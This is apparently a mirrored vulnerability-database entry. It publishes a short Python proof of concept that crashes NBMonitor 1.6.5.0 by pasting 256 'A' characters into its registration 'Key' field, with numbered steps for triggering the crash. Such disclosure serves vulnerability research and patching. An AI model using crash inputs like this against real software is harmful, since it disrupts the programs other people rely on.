发布 2019-02-18 漏洞条目

NBMonitor 1.6.5.0 – ‘Key’ Denial of Service (PoC)

Exploit Source

# -*- coding: utf-8 -*-

# Exploit Title: NBMonitor 1.6.5 - 'Key' Denial of Service (PoC)

# Date: 15/02/2019

# Author: Alejandra Sánchez

# Vendor Homepage: http://www.nsauditor.com/

# Software Link: http://www.nbmonitor.com/downloads/nbmonitor_setup.exe

# Version: 1.6.5.0

# Tested on: Windows 10

# Proof of Concept:

# 1.- Run the python script "NBMonitor.py", it will create a new file "PoC.txt"

# 2.- Copy the text from the generated PoC.txt file to clipboard

# 3.- Open NBMonitor.exe

# 4.- Go to Register > Enter Registration Code...

# 5.- Write anything in 'Name' field

# 6.- Paste clipboard in 'Key' field

# 7.- Click on button -> Ok

# 8.- Crashed

buffer = "\x41" * 256

f = open ("PoC.txt", "w")

f.write(buffer)

f.close()

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